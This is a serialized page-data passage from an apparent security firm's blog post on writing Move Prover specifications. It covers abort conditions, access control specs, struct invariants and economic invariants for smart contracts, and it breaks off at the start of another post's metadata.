"value":3541},{"type":21,"tag":85,"props":12879,"children":12880},{"style":169},[12881],{"type":26,"value":2282},{"type":21,"tag":85,"props":12883,"children":12884},{"style":102},[12885],{"type":26,"value":12886}," true",{"type":21,"tag":85,"props":12888,"children":12889},{"style":114},[12890],{"type":26,"value":2535},{"type":21,"tag":85,"props":12892,"children":12893},{"class":87,"line":160},[12894],{"type":21,"tag":85,"props":12895,"children":12896},{"style":114},[12897],{"type":26,"value":2671},{"type":21,"tag":22,"props":12899,"children":12900},{},[12901],{"type":26,"value":12902},"Running move prover with the new specifications, we can confirm that there are no verification errors:",{"type":21,"tag":75,"props":12904,"children":12905},{"code":12363},[12906],{"type":21,"tag":66,"props":12907,"children":12908},{"__ignoreMap":7},[12909],{"type":26,"value":12363},{"type":21,"tag":22,"props":12911,"children":12912},{},[12913,12915,12922],{"type":26,"value":12914},"For a more complete document detailing Move Prover syntax, we recommend referring to ",{"type":21,"tag":335,"props":12916,"children":12919},{"href":12917,"rel":12918},"https://github.com/move-language/move/blob/main/language/move-prover/doc/user/spec-lang.md",[339],[12920],{"type":26,"value":12921},"spec-lang.md",{"type":26,"value":12923}," in the Move Repository.",{"type":21,"tag":54,"props":12925,"children":12927},{"id":12926},"use-cases",[12928],{"type":26,"value":12929},"Use Cases",{"type":21,"tag":22,"props":12931,"children":12932},{},[12933],{"type":26,"value":12934},"Formal verification can prove that a smart contract satisfies the given requirements for all possible cases without even running the contract. The hard part is coming up with the specifications.",{"type":21,"tag":22,"props":12936,"children":12937},{},[12938],{"type":26,"value":12939},"Here, we hope to explore some practical examples of possible verification ideas.",{"type":21,"tag":10022,"props":12941,"children":12943},{"id":12942},"error-conditions",[12944],{"type":26,"value":12945},"Error Conditions",{"type":21,"tag":22,"props":12947,"children":12948},{},[12949,12951,12957],{"type":26,"value":12950},"Taking an example from ",{"type":21,"tag":66,"props":12952,"children":12954},{"className":12953},[],[12955],{"type":26,"value":12956},"std::fixed_point32",{"type":26,"value":12958},", it's often useful to explicitly define when a function might abort. For example, arithmetic operations with fixed point numbers should only error if they overflow.",{"type":21,"tag":75,"props":12960,"children":12962},{"code":12961,"language":79,"meta":7,"className":77,"style":7},"      spec schema MultiplyAbortsIf {\n          val: num;\n          multiplier: FixedPoint32;\n          aborts_if spec_multiply_u64(val, multiplier) > MAX_U64 with EMULTIPLICATION;\n      }\n      spec fun spec_multiply_u64(val: num, multiplier: FixedPoint32): num {\n          (val * multiplier.value) >> 32\n      }\n",[12963],{"type":21,"tag":66,"props":12964,"children":12965},{"__ignoreMap":7},[12966,12987,13007,13028,13074,13082,13145,13184],{"type":21,"tag":85,"props":12967,"children":12968},{"class":87,"line":88},[12969,12973,12978,12983],{"type":21,"tag":85,"props":12970,"children":12971},{"style":120},[12972],{"type":26,"value":3301},{"type":21,"tag":85,"props":12974,"children":12975},{"style":120},[12976],{"type":26,"value":12977}," schema",{"type":21,"tag":85,"props":12979,"children":12980},{"style":108},[12981],{"type":26,"value":12982}," MultiplyAbortsIf",{"type":21,"tag":85,"props":12984,"children":12985},{"style":114},[12986],{"type":26,"value":148},{"type":21,"tag":85,"props":12988,"children":12989},{"class":87,"line":98},[12990,12995,12999,13003],{"type":21,"tag":85,"props":12991,"children":12992},{"style":120},[12993],{"type":26,"value":12994},"          val",{"type":21,"tag":85,"props":12996,"children":12997},{"style":169},[12998],{"type":26,"value":172},{"type":21,"tag":85,"props":13000,"children":13001},{"style":120},[13002],{"type":26,"value":10147},{"type":21,"tag":85,"props":13004,"children":13005},{"style":114},[13006],{"type":26,"value":2535},{"type":21,"tag":85,"props":13008,"children":13009},{"class":87,"line":151},[13010,13015,13019,13024],{"type":21,"tag":85,"props":13011,"children":13012},{"style":120},[13013],{"type":26,"value":13014},"          multiplier",{"type":21,"tag":85,"props":13016,"children":13017},{"style":169},[13018],{"type":26,"value":172},{"type":21,"tag":85,"props":13020,"children":13021},{"style":108},[13022],{"type":26,"value":13023}," FixedPoint32",{"type":21,"tag":85,"props":13025,"children":13026},{"style":114},[13027],{"type":26,"value":2535},{"type":21,"tag":85,"props":13029,"children":13030},{"class":87,"line":160},[13031,13036,13041,13045,13050,13054,13059,13064,13069],{"type":21,"tag":85,"props":13032,"children":13033},{"style":120},[13034],{"type":26,"value":13035},"          aborts_if",{"type":21,"tag":85,"props":13037,"children":13038},{"style":1021},[13039],{"type":26,"value":13040}," spec_multiply_u64",{"type":21,"tag":85,"props":13042,"children":13043},{"style":114},[13044],{"type":26,"value":1439},{"type":21,"tag":85,"props":13046,"children":13047},{"style":120},[13048],{"type":26,"value":13049},"val",{"type":21,"tag":85,"props":13051,"children":13052},{"style":114},[13053],{"type":26,"value":256},{"type":21,"tag":85,"props":13055,"children":13056},{"style":120},[13057],{"type":26,"value":13058},"multiplier",{"type":21,"tag":85,"props":13060,"children":13061},{"style":114},[13062],{"type":26,"value":13063},") > MAX_U64 ",{"type":21,"tag":85,"props":13065,"children":13066},{"style":120},[13067],{"type":26,"value":13068},"with",{"type":21,"tag":85,"props":13070,"children":13071},{"style":114},[13072],{"type":26,"value":13073}," EMULTIPLICATION;\n",{"type":21,"tag":85,"props":13075,"children":13076},{"class":87,"line":185},[13077],{"type":21,"tag":85,"props":13078,"children":13079},{"style":114},[13080],{"type":26,"value":13081},"      }\n",{"type":21,"tag":85,"props":13083,"children":13084},{"class":87,"line":501},[13085,13089,13093,13097,13101,13105,13109,13113,13117,13121,13125,13129,13133,13137,13141],{"type":21,"tag":85,"props":13086,"children":13087},{"style":120},[13088],{"type":26,"value":3301},{"type":21,"tag":85,"props":13090,"children":13091},{"style":120},[13092],{"type":26,"value":532},{"type":21,"tag":85,"props":13094,"children":13095},{"style":1021},[13096],{"type":26,"value":13040},{"type":21,"tag":85,"props":13098,"children":13099},{"style":114},[13100],{"type":26,"value":1439},{"type":21,"tag":85,"props":13102,"children":13103},{"style":120},[13104],{"type":26,"value":13049},{"type":21,"tag":85,"props":13106,"children":13107},{"style":169},[13108],{"type":26,"value":172},{"type":21,"tag":85,"props":13110,"children":13111},{"style":120},[13112],{"type":26,"value":10147},{"type":21,"tag":85,"props":13114,"children":13115},{"style":114},[13116],{"type":26,"value":256},{"type":21,"tag":85,"props":13118,"children":13119},{"style":120},[13120],{"type":26,"value":13058},{"type":21,"tag":85,"props":13122,"children":13123},{"style":169},[13124],{"type":26,"value":172},{"type":21,"tag":85,"props":13126,"children":13127},{"style":108},[13128],{"type":26,"value":13023},{"type":21,"tag":85,"props":13130,"children":13131},{"style":114},[13132],{"type":26,"value":1900},{"type":21,"tag":85,"props":13134,"children":13135},{"style":169},[13136],{"type":26,"value":172},{"type":21,"tag":85,"props":13138,"children":13139},{"style":120},[13140],{"type":26,"value":10147},{"type":21,"tag":85,"props":13142,"children":13143},{"style":114},[13144],{"type":26,"value":148},{"type":21,"tag":85,"props":13146,"children":13147},{"class":87,"line":697},[13148,13152,13156,13160,13165,13169,13174,13179],{"type":21,"tag":85,"props":13149,"children":13150},{"style":114},[13151],{"type":26,"value":3076},{"type":21,"tag":85,"props":13153,"children":13154},{"style":120},[13155],{"type":26,"value":13049},{"type":21,"tag":85,"props":13157,"children":13158},{"style":169},[13159],{"type":26,"value":10231},{"type":21,"tag":85,"props":13161,"children":13162},{"style":120},[13163],{"type":26,"value":13164}," multiplier",{"type":21,"tag":85,"props":13166,"children":13167},{"style":169},[13168],{"type":26,"value":73},{"type":21,"tag":85,"props":13170,"children":13171},{"style":114},[13172],{"type":26,"value":13173},"value) ",{"type":21,"tag":85,"props":13175,"children":13176},{"style":169},[13177],{"type":26,"value":13178},">>",{"type":21,"tag":85,"props":13180,"children":13181},{"style":2285},[13182],{"type":26,"value":13183}," 32\n",{"type":21,"tag":85,"props":13185,"children":13186},{"class":87,"line":706},[13187],{"type":21,"tag":85,"props":13188,"children":13189},{"style":114},[13190],{"type":26,"value":13081},{"type":21,"tag":10022,"props":13192,"children":13194},{"id":13193},"access-control-policies",[13195],{"type":26,"value":13196},"Access Control Policies",{"type":21,"tag":22,"props":13198,"children":13199},{},[13200],{"type":26,"value":13201},"Somewhat similar to error conditions, it's often useful to enforce explicit access control policies at the specification level.",{"type":21,"tag":22,"props":13203,"children":13204},{},[13205,13207,13213,13215,13220],{"type":26,"value":13206},"For example, in ",{"type":21,"tag":66,"props":13208,"children":13210},{"className":13209},[],[13211],{"type":26,"value":13212},"std::offer",{"type":26,"value":13214}," we are able to see that the function should abort if and only if there does not exist an offer, ",{"type":21,"tag":39,"props":13216,"children":13217},{},[13218],{"type":26,"value":13219},"or",{"type":26,"value":13221}," the recipient is now allowed.",{"type":21,"tag":75,"props":13223,"children":13225},{"code":13224,"language":79,"meta":7,"className":77,"style":7},"    spec redeem {\n      /// Aborts if there is no offer under `offer_address` or if the account\n      /// cannot redeem the offer.\n      /// Ensures that the offered struct under `offer_address` is removed.\n      aborts_if !exists\u003COffer\u003COffered>>(offer_address);\n      aborts_if !is_allowed_recipient\u003COffered>(offer_address, signer::address_of(account));\n      ensures !exists\u003COffer\u003COffered>>(offer_address);\n      ensures result == old(global\u003COffer\u003COffered>>(offer_address).offered);\n    }\n",[13226],{"type":21,"tag":66,"props":13227,"children":13228},{"__ignoreMap":7},[13229,13246,13254,13262,13270,13317,13375,13418,13484],{"type":21,"tag":85,"props":13230,"children":13231},{"class":87,"line":88},[13232,13237,13242],{"type":21,"tag":85,"props":13233,"children":13234},{"style":120},[13235],{"type":26,"value":13236},"    spec",{"type":21,"tag":85,"props":13238,"children":13239},{"style":120},[13240],{"type":26,"value":13241}," redeem",{"type":21,"tag":85,"props":13243,"children":13244},{"style":114},[13245],{"type":26,"value":148},{"type":21,"tag":85,"props":13247,"children":13248},{"class":87,"line":98},[13249],{"type":21,"tag":85,"props":13250,"children":13251},{"style":92},[13252],{"type":26,"value":13253},"      /// Aborts if there is no offer under `offer_address` or if the account\n",{"type":21,"tag":85,"props":13255,"children":13256},{"class":87,"line":151},[13257],{"type":21,"tag":85,"props":13258,"children":13259},{"style":92},[13260],{"type":26,"value":13261},"      /// cannot redeem the offer.\n",{"type":21,"tag":85,"props":13263,"children":13264},{"class":87,"line":160},[13265],{"type":21,"tag":85,"props":13266,"children":13267},{"style":92},[13268],{"type":26,"value":13269},"      /// Ensures that the offered struct under `offer_address` is removed.\n",{"type":21,"tag":85,"props":13271,"children":13272},{"class":87,"line":185},[13273,13277,13282,13286,13290,13295,13299,13304,13308,13313],{"type":21,"tag":85,"props":13274,"children":13275},{"style":120},[13276],{"type":26,"value":3433},{"type":21,"tag":85,"props":13278,"children":13279},{"style":169},[13280],{"type":26,"value":13281}," !",{"type":21,"tag":85,"props":13283,"children":13284},{"style":120},[13285],{"type":26,"value":1042},{"type":21,"tag":85,"props":13287,"children":13288},{"style":114},[13289],{"type":26,"value":117},{"type":21,"tag":85,"props":13291,"children":13292},{"style":108},[13293],{"type":26,"value":13294},"Offer",{"type":21,"tag":85,"props":13296,"children":13297},{"style":114},[13298],{"type":26,"value":117},{"type":21,"tag":85,"props":13300,"children":13301},{"style":108},[13302],{"type":26,"value":13303},"Offered",{"type":21,"tag":85,"props":13305,"children":13306},{"style":114},[13307],{"type":26,"value":1064},{"type":21,"tag":85,"props":13309,"children":13310},{"style":120},[13311],{"type":26,"value":13312},"offer_address",{"type":21,"tag":85,"props":13314,"children":13315},{"style":114},[13316],{"type":26,"value":777},{"type":21,"tag":85,"props":13318,"children":13319},{"class":87,"line":501},[13320,13324,13328,13333,13337,13341,13345,13349,13354,13358,13362,13366,13371],{"type":21,"tag":85,"props":13321,"children":13322},{"style":120},[13323],{"type":26,"value":3433},{"type":21,"tag":85,"props":13325,"children":13326},{"style":169},[13327],{"type":26,"value":13281},{"type":21,"tag":85,"props":13329,"children":13330},{"style":120},[13331],{"type":26,"value":13332},"is_allowed_recipient",{"type":21,"tag":85,"props":13334,"children":13335},{"style":114},[13336],{"type":26,"value":117},{"type":21,"tag":85,"props":13338,"children":13339},{"style":108},[13340],{"type":26,"value":13303},{"type":21,"tag":85,"props":13342,"children":13343},{"style":114},[13344],{"type":26,"value":1960},{"type":21,"tag":85,"props":13346,"children":13347},{"style":120},[13348],{"type":26,"value":13312},{"type":21,"tag":85,"props":13350,"children":13351},{"style":114},[13352],{"type":26,"value":13353},", signer",{"type":21,"tag":85,"props":13355,"children":13356},{"style":169},[13357],{"type":26,"value":1087},{"type":21,"tag":85,"props":13359,"children":13360},{"style":1021},[13361],{"type":26,"value":1555},{"type":21,"tag":85,"props":13363,"children":13364},{"style":114},[13365],{"type":26,"value":1439},{"type":21,"tag":85,"props":13367,"children":13368},{"style":120},[13369],{"type":26,"value":13370},"account",{"type":21,"tag":85,"props":13372,"children":13373},{"style":114},[13374],{"type":26,"value":1569},{"type":21,"tag":85,"props":13376,"children":13377},{"class":87,"line":697},[13378,13382,13386,13390,13394,13398,13402,13406,13410,13414],{"type":21,"tag":85,"props":13379,"children":13380},{"style":120},[13381],{"type":26,"value":2543},{"type":21,"tag":85,"props":13383,"children":13384},{"style":169},[13385],{"type":26,"value":13281},{"type":21,"tag":85,"props":13387,"children":13388},{"style":120},[13389],{"type":26,"value":1042},{"type":21,"tag":85,"props":13391,"children":13392},{"style":114},[13393],{"type":26,"value":117},{"type":21,"tag":85,"props":13395,"children":13396},{"style":108},[13397],{"type":26,"value":13294},{"type":21,"tag":85,"props":13399,"children":13400},{"style":114},[13401],{"type":26,"value":117},{"type":21,"tag":85,"props":13403,"children":13404},{"style":108},[13405],{"type":26,"value":13303},{"type":21,"tag":85,"props":13407,"children":13408},{"style":114},[13409],{"type":26,"value":1064},{"type":21,"tag":85,"props":13411,"children":13412},{"style":120},[13413],{"type":26,"value":13312},{"type":21,"tag":85,"props":13415,"children":13416},{"style":114},[13417],{"type":26,"value":777},{"type":21,"tag":85,"props":13419,"children":13420},{"class":87,"line":706},[13421,13425,13429,13433,13438,13442,13447,13451,13455,13459,13463,13467,13471,13475,13479],{"type":21,"tag":85,"props":13422,"children":13423},{"style":120},[13424],{"type":26,"value":2543},{"type":21,"tag":85,"props":13426,"children":13427},{"style":120},[13428],{"type":26,"value":3541},{"type":21,"tag":85,"props":13430,"children":13431},{"style":169},[13432],{"type":26,"value":2282},{"type":21,"tag":85,"props":13434,"children":13435},{"style":1021},[13436],{"type":26,"value":13437}," old",{"type":21,"tag":85,"props":13439,"children":13440},{"style":114},[13441],{"type":26,"value":1439},{"type":21,"tag":85,"props":13443,"children":13444},{"style":120},[13445],{"type":26,"value":13446},"global",{"type":21,"tag":85,"props":13448,"children":13449},{"style":114},[13450],{"type":26,"value":117},{"type":21,"tag":85,"props":13452,"children":13453},{"style":108},[13454],{"type":26,"value":13294},{"type":21,"tag":85,"props":13456,"children":13457},{"style":114},[13458],{"type":26,"value":117},{"type":21,"tag":85,"props":13460,"children":13461},{"style":108},[13462],{"type":26,"value":13303},{"type":21,"tag":85,"props":13464,"children":13465},{"style":114},[13466],{"type":26,"value":1064},{"type":21,"tag":85,"props":13468,"children":13469},{"style":120},[13470],{"type":26,"value":13312},{"type":21,"tag":85,"props":13472,"children":13473},{"style":114},[13474],{"type":26,"value":1900},{"type":21,"tag":85,"props":13476,"children":13477},{"style":169},[13478],{"type":26,"value":73},{"type":21,"tag":85,"props":13480,"children":13481},{"style":114},[13482],{"type":26,"value":13483},"offered);\n",{"type":21,"tag":85,"props":13485,"children":13486},{"class":87,"line":1100},[13487],{"type":21,"tag":85,"props":13488,"children":13489},{"style":114},[13490],{"type":26,"value":507},{"type":21,"tag":22,"props":13492,"children":13493},{},[13494],{"type":26,"value":13495},"These access control specifications make it impossible to accidentally remove security critical access control policies later.",{"type":21,"tag":10022,"props":13497,"children":13499},{"id":13498},"complex-mathematical-formulae",[13500],{"type":26,"value":13501},"Complex Mathematical Formulae",{"type":21,"tag":22,"props":13503,"children":13504},{},[13505,13507,13512],{"type":26,"value":13506},"Whether it's a decimal implementation or more complex data structures, it's often useful to verify that the expected output is ",{"type":21,"tag":39,"props":13508,"children":13509},{},[13510],{"type":26,"value":13511},"always",{"type":26,"value":13513}," the output.",{"type":21,"tag":22,"props":13515,"children":13516},{},[13517],{"type":26,"value":13518},"Proving that your fundamental data structures work exactly as intended will give you much more confidence in the remainder of your codebase.",{"type":21,"tag":22,"props":13520,"children":13521},{},[13522,13524,13531],{"type":26,"value":13523},"For example, in our work with ",{"type":21,"tag":335,"props":13525,"children":13528},{"href":13526,"rel":13527},"https://laminar.markets/",[339],[13529],{"type":26,"value":13530},"Laminar Markets",{"type":26,"value":13532},", we provided recommendations for verifying their internal splay tree implementation against a simpler priority queue data structure.",{"type":21,"tag":10022,"props":13534,"children":13536},{"id":13535},"data-invariants",[13537],{"type":26,"value":13538},"Data Invariants",{"type":21,"tag":22,"props":13540,"children":13541},{},[13542,13544,13550,13552,13558,13560,13566,13568,13574],{"type":26,"value":13543},"Formal verification provides the best environment to verify that certain ",{"type":21,"tag":66,"props":13545,"children":13547},{"className":13546},[],[13548],{"type":26,"value":13549},"variables",{"type":26,"value":13551}," or ",{"type":21,"tag":66,"props":13553,"children":13555},{"className":13554},[],[13556],{"type":26,"value":13557},"resources",{"type":26,"value":13559}," don't exceed the intended boundaries. Let's consider the struct from below. We can ensure that ",{"type":21,"tag":66,"props":13561,"children":13563},{"className":13562},[],[13564],{"type":26,"value":13565},"index",{"type":26,"value":13567}," is never greater than 4 using a ",{"type":21,"tag":66,"props":13569,"children":13571},{"className":13570},[],[13572],{"type":26,"value":13573},"struct invariant",{"type":26,"value":73},{"type":21,"tag":75,"props":13576,"children":13578},{"code":13577,"language":79,"meta":7,"className":77,"style":7},"struct Type {\n    index: u64\n}\n\nspec Type {\n    invariant index \u003C 4;\n}\n",[13579],{"type":21,"tag":66,"props":13580,"children":13581},{"__ignoreMap":7},[13582,13598,13615,13622,13629,13644,13668],{"type":21,"tag":85,"props":13583,"children":13584},{"class":87,"line":88},[13585,13589,13594],{"type":21,"tag":85,"props":13586,"children":13587},{"style":102},[13588],{"type":26,"value":9814},{"type":21,"tag":85,"props":13590,"children":13591},{"style":108},[13592],{"type":26,"value":13593}," Type",{"type":21,"tag":85,"props":13595,"children":13596},{"style":114},[13597],{"type":26,"value":148},{"type":21,"tag":85,"props":13599,"children":13600},{"class":87,"line":98},[13601,13606,13610],{"type":21,"tag":85,"props":13602,"children":13603},{"style":120},[13604],{"type":26,"value":13605},"    index",{"type":21,"tag":85,"props":13607,"children":13608},{"style":169},[13609],{"type":26,"value":172},{"type":21,"tag":85,"props":13611,"children":13612},{"style":108},[13613],{"type":26,"value":13614}," u64\n",{"type":21,"tag":85,"props":13616,"children":13617},{"class":87,"line":151},[13618],{"type":21,"tag":85,"props":13619,"children":13620},{"style":114},[13621],{"type":26,"value":2671},{"type":21,"tag":85,"props":13623,"children":13624},{"class":87,"line":160},[13625],{"type":21,"tag":85,"props":13626,"children":13627},{"emptyLinePlaceholder":16},[13628],{"type":26,"value":703},{"type":21,"tag":85,"props":13630,"children":13631},{"class":87,"line":185},[13632,13636,13640],{"type":21,"tag":85,"props":13633,"children":13634},{"style":120},[13635],{"type":26,"value":2631},{"type":21,"tag":85,"props":13637,"children":13638},{"style":108},[13639],{"type":26,"value":13593},{"type":21,"tag":85,"props":13641,"children":13642},{"style":114},[13643],{"type":26,"value":148},{"type":21,"tag":85,"props":13645,"children":13646},{"class":87,"line":501},[13647,13651,13656,13660,13664],{"type":21,"tag":85,"props":13648,"children":13649},{"style":120},[13650],{"type":26,"value":2648},{"type":21,"tag":85,"props":13652,"children":13653},{"style":120},[13654],{"type":26,"value":13655}," index",{"type":21,"tag":85,"props":13657,"children":13658},{"style":169},[13659],{"type":26,"value":3085},{"type":21,"tag":85,"props":13661,"children":13662},{"style":2285},[13663],{"type":26,"value":12162},{"type":21,"tag":85,"props":13665,"children":13666},{"style":114},[13667],{"type":26,"value":2535},{"type":21,"tag":85,"props":13669,"children":13670},{"class":87,"line":697},[13671],{"type":21,"tag":85,"props":13672,"children":13673},{"style":114},[13674],{"type":26,"value":2671},{"type":21,"tag":22,"props":13676,"children":13677},{},[13678,13680,13687,13688,13694],{"type":26,"value":13679},"We were able to verify more complex properties in our recent audits for ",{"type":21,"tag":335,"props":13681,"children":13684},{"href":13682,"rel":13683},"https://layerzero.network/",[339],[13685],{"type":26,"value":13686},"LayerZero",{"type":26,"value":11408},{"type":21,"tag":335,"props":13689,"children":13692},{"href":13690,"rel":13691},"http://ariesmarkets.xyz/",[339],[13693],{"type":26,"value":1130},{"type":26,"value":13695},", but the details are left as an exercise to the reader.",{"type":21,"tag":10022,"props":13697,"children":13699},{"id":13698},"economic-invariants",[13700],{"type":26,"value":13701},"Economic Invariants.",{"type":21,"tag":22,"props":13703,"children":13704},{},[13705],{"type":26,"value":13706},"Proper economic invariants can require more creativity to come up with but can be extremely effective at securing your protocol.",{"type":21,"tag":22,"props":13708,"children":13709},{},[13710],{"type":26,"value":13711},"For example, you should never be able to drain coins from a pool by adding and removing shares. In practice, you might implement this as a utility helper function.",{"type":21,"tag":75,"props":13713,"children":13714},{"code":2321,"language":79,"meta":7,"className":77,"style":7},[13715],{"type":21,"tag":66,"props":13716,"children":13717},{"__ignoreMap":7},[13718,13725,13808,13847,13866,13873,13888,13911,13934,13957],{"type":21,"tag":85,"props":13719,"children":13720},{"class":87,"line":88},[13721],{"type":21,"tag":85,"props":13722,"children":13723},{"style":92},[13724],{"type":26,"value":2333},{"type":21,"tag":85,"props":13726,"children":13727},{"class":87,"line":98},[13728,13732,13736,13740,13744,13748,13752,13756,13760,13764,13768,13772,13776,13780,13784,13788,13792,13796,13800,13804],{"type":21,"tag":85,"props":13729,"children":13730},{"style":120},[13731],{"type":26,"value":905},{"type":21,"tag":85,"props":13733,"children":13734},{"style":1021},[13735],{"type":26,"value":2345},{"type":21,"tag":85,"props":13737,"children":13738},{"style":114},[13739],{"type":26,"value":1439},{"type":21,"tag":85,"props":13741,"children":13742},{"style":120},[13743],{"type":26,"value":2354},{"type":21,"tag":85,"props":13745,"children":13746},{"style":169},[13747],{"type":26,"value":172},{"type":21,"tag":85,"props":13749,"children":13750},{"style":108},[13751],{"type":26,"value":177},{"type":21,"tag":85,"props":13753,"children":13754},{"style":114},[13755],{"type":26,"value":256},{"type":21,"tag":85,"props":13757,"children":13758},{"style":120},[13759],{"type":26,"value":2371},{"type":21,"tag":85,"props":13761,"children":13762},{"style":169},[13763],{"type":26,"value":172},{"type":21,"tag":85,"props":13765,"children":13766},{"style":108},[13767],{"type":26,"value":177},{"type":21,"tag":85,"props":13769,"children":13770},{"style":114},[13771],{"type":26,"value":1900},{"type":21,"tag":85,"props":13773,"children":13774},{"style":169},[13775],{"type":26,"value":172},{"type":21,"tag":85,"props":13777,"children":13778},{"style":114},[13779],{"type":26,"value":717},{"type":21,"tag":85,"props":13781,"children":13782},{"style":108},[13783],{"type":26,"value":2396},{"type":21,"tag":85,"props":13785,"children":13786},{"style":114},[13787],{"type":26,"value":256},{"type":21,"tag":85,"props":13789,"children":13790},{"style":108},[13791],{"type":26,"value":2396},{"type":21,"tag":85,"props":13793,"children":13794},{"style":114},[13795],{"type":26,"value":736},{"type":21,"tag":85,"props":13797,"children":13798},{"style":120},[13799],{"type":26,"value":669},{"type":21,"tag":85,"props":13801,"children":13802},{"style":108},[13803],{"type":26,"value":2417},{"type":21,"tag":85,"props":13805,"children":13806},{"style":114},[13807],{"type":26,"value":148},{"type":21,"tag":85,"props":13809,"children":13810},{"class":87,"line":151},[13811,13815,13819,13823,13827,13831,13835,13839,13843],{"type":21,"tag":85,"props":13812,"children":13813},{"style":102},[13814],{"type":26,"value":2429},{"type":21,"tag":85,"props":13816,"children":13817},{"style":120},[13818],{"type":26,"value":2434},{"type":21,"tag":85,"props":13820,"children":13821},{"style":169},[13822],{"type":26,"value":1941},{"type":21,"tag":85,"props":13824,"children":13825},{"style":1021},[13826],{"type":26,"value":2443},{"type":21,"tag":85,"props":13828,"children":13829},{"style":114},[13830],{"type":26,"value":1439},{"type":21,"tag":85,"props":13832,"children":13833},{"style":120},[13834],{"type":26,"value":2354},{"type":21,"tag":85,"props":13836,"children":13837},{"style":114},[13838],{"type":26,"value":256},{"type":21,"tag":85,"props":13840,"children":13841},{"style":120},[13842],{"type":26,"value":2371},{"type":21,"tag":85,"props":13844,"children":13845},{"style":114},[13846],{"type":26,"value":777},{"type":21,"tag":85,"props":13848,"children":13849},{"class":87,"line":160},[13850,13854,13858,13862],{"type":21,"tag":85,"props":13851,"children":13852},{"style":1021},[13853],{"type":26,"value":2471},{"type":21,"tag":85,"props":13855,"children":13856},{"style":114},[13857],{"type":26,"value":1439},{"type":21,"tag":85,"props":13859,"children":13860},{"style":120},[13861],{"type":26,"value":2480},{"type":21,"tag":85,"props":13863,"children":13864},{"style":114},[13865],{"type":26,"value":2485},{"type":21,"tag":85,"props":13867,"children":13868},{"class":87,"line":185},[13869],{"type":21,"tag":85,"props":13870,"children":13871},{"style":114},[13872],{"type":26,"value":191},{"type":21,"tag":85,"props":13874,"children":13875},{"class":87,"line":501},[13876,13880,13884],{"type":21,"tag":85,"props":13877,"children":13878},{"style":120},[13879],{"type":26,"value":2500},{"type":21,"tag":85,"props":13881,"children":13882},{"style":120},[13883],{"type":26,"value":2345},{"type":21,"tag":85,"props":13885,"children":13886},{"style":114},[13887],{"type":26,"value":148},{"type":21,"tag":85,"props":13889,"children":13890},{"class":87,"line":697},[13891,13895,13899,13903,13907],{"type":21,"tag":85,"props":13892,"children":13893},{"style":120},[13894],{"type":26,"value":2516},{"type":21,"tag":85,"props":13896,"children":13897},{"style":120},[13898],{"type":26,"value":2521},{"type":21,"tag":85,"props":13900,"children":13901},{"style":169},[13902],{"type":26,"value":741},{"type":21,"tag":85,"props":13904,"children":13905},{"style":102},[13906],{"type":26,"value":2530},{"type":21,"tag":85,"props":13908,"children":13909},{"style":114},[13910],{"type":26,"value":2535},{"type":21,"tag":85,"props":13912,"children":13913},{"class":87,"line":706},[13914,13918,13922,13926,13930],{"type":21,"tag":85,"props":13915,"children":13916},{"style":120},[13917],{"type":26,"value":2543},{"type":21,"tag":85,"props":13919,"children":13920},{"style":120},[13921],{"type":26,"value":2548},{"type":21,"tag":85,"props":13923,"children":13924},{"style":169},[13925],{"type":26,"value":2553},{"type":21,"tag":85,"props":13927,"children":13928},{"style":120},[13929],{"type":26,"value":2558},{"type":21,"tag":85,"props":13931,"children":13932},{"style":114},[13933],{"type":26,"value":2535},{"type":21,"tag":85,"props":13935,"children":13936},{"class":87,"line":1100},[13937,13941,13945,13949,13953],{"type":21,"tag":85,"props":13938,"children":13939},{"style":120},[13940],{"type":26,"value":2543},{"type":21,"tag":85,"props":13942,"children":13943},{"style":120},[13944],{"type":26,"value":2574},{"type":21,"tag":85,"props":13946,"children":13947},{"style":169},[13948],{"type":26,"value":2553},{"type":21,"tag":85,"props":13950,"children":13951},{"style":120},[13952],{"type":26,"value":2583},{"type":21,"tag":85,"props":13954,"children":13955},{"style":114},[13956],{"type":26,"value":2535},{"type":21,"tag":85,"props":13958,"children":13959},{"class":87,"line":1339},[13960],{"type":21,"tag":85,"props":13961,"children":13962},{"style":114},[13963],{"type":26,"value":191},{"type":21,"tag":22,"props":13965,"children":13966},{},[13967],{"type":26,"value":13968},"Some other ideas include",{"type":21,"tag":841,"props":13970,"children":13971},{},[13972,13977,13982],{"type":21,"tag":845,"props":13973,"children":13974},{},[13975],{"type":26,"value":13976},"Swapping through an AMM should never lead to a decrease in one side of the pool without also increasing the other side. In other words, no free money",{"type":21,"tag":845,"props":13978,"children":13979},{},[13980],{"type":26,"value":13981},"Lending protocols should always be fully collateralized after a series of deposit, borrow, and withdraw instructions.",{"type":21,"tag":845,"props":13983,"children":13984},{},[13985],{"type":26,"value":13986},"Orderbooks should never lose money after an order is placed and then canceled.",{"type":21,"tag":54,"props":13988,"children":13989},{"id":3604},[13990],{"type":26,"value":3607},{"type":21,"tag":22,"props":13992,"children":13993},{},[13994],{"type":26,"value":13995},"In this post, we've explored how to properly utilize the Move Prover to verify critical invariants about your codebase.",{"type":21,"tag":22,"props":13997,"children":13998},{},[13999],{"type":26,"value":14000},"In our upcoming posts, we will explore how to turn the Move Prover into a weapon for squashing security vulnerabilities by learning how to ask the right questions, so stay tuned!",{"type":21,"tag":22,"props":14002,"children":14003},{},[14004,14006,14011],{"type":26,"value":14005},"We're passionate about formal verification and pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":21,"tag":335,"props":14007,"children":14009},{"href":3625,"rel":14008},[339],[14010],{"type":26,"value":3629},{"type":26,"value":73},{"type":21,"tag":3632,"props":14013,"children":14014},{},[14015],{"type":26,"value":3636},{"title":7,"searchDepth":98,"depth":98,"links":14017},[14018,14019,14022,14029],{"id":9718,"depth":98,"text":9721},{"id":9772,"depth":98,"text":9775,"children":14020},[14021],{"id":10024,"depth":151,"text":10019},{"id":12926,"depth":98,"text":12929,"children":14023},[14024,14025,14026,14027,14028],{"id":12942,"depth":151,"text":12945},{"id":13193,"depth":151,"text":13196},{"id":13498,"depth":151,"text":13501},{"id":13535,"depth":151,"text":13538},{"id":13698,"depth":151,"text":13701},{"id":3604,"depth":98,"text":3607},"content:blog:2022-09-16-move-prover.md","blog/2022-09-16-move-prover.md","blog/2022-09-16-move-prover",{"_path":14034,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":14035,"description":14036,"author":14037,"image":14038,"date":14042,"isFeatured":16,"onBlogPage":16,"tags":14043,"body":14044,"_type":3642,"_id":19167,"_source":3644,"_file":19168,"_stem":19169,"_extension":3647},"/blog/2022-12-09-rust-realloc-and-references","Rust, Realloc, and References","Rust is safe.. right? Not if your dependencies are unsafe.. A deep 